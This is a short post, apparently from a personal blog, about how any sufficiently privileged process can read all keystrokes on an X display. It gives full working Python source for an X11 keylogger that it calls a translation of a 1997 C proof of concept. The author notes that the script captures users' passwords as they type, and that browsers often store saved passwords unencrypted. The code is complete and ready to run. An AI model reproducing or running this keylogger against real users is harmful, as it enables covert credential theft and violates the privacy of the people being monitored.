Any sufficiently privileged user can connect to X and read all keystrokes. So if, for example, this script is running as the currently logged in user, it can read that user’s keystrokes when they type in their passwords.
There’s the easier way to get user passwords, of course. Few people set a master password in their browser. This means the browser stores passwords unencrypted (or use a hard-coded default encryption key in the browser’s source).
I wrote this when I saw a proof of concept X keylogger online from 1997. Run it through gcc—it still works! Here’s almost a direct translation from the C to Python.
You do need python-xlib and, last I checked, there’s a minor bug with the version that ships with some distributions, so YMMV.
#!/usr/bin/env python2 from Xlib import X, display, XK import sys def show_press(f): '''Ask X to tell us about every window.''' wins = f.query_tree() f.change_attributes(event_mask=X.KeyPress) if len(wins.children) == 0: return for each in wins.children: show_press(each) display_name = sys.argv if len(sys.argv) == 2 else ':0' d = display.Display(display_name) root = d.screen().root show_press(root) while True: e = d.next_event() # ignores all modifier keys k = XK.keysym_to_string(d.keycode_to_keysym(e.detail, 0)) if not k: pass elif ord(k) == 8: # don't delete output when user backspaces :) sys.stdout.write("^H") else: try: sys.stdout.write(k) except: pass sys.stdout.flush()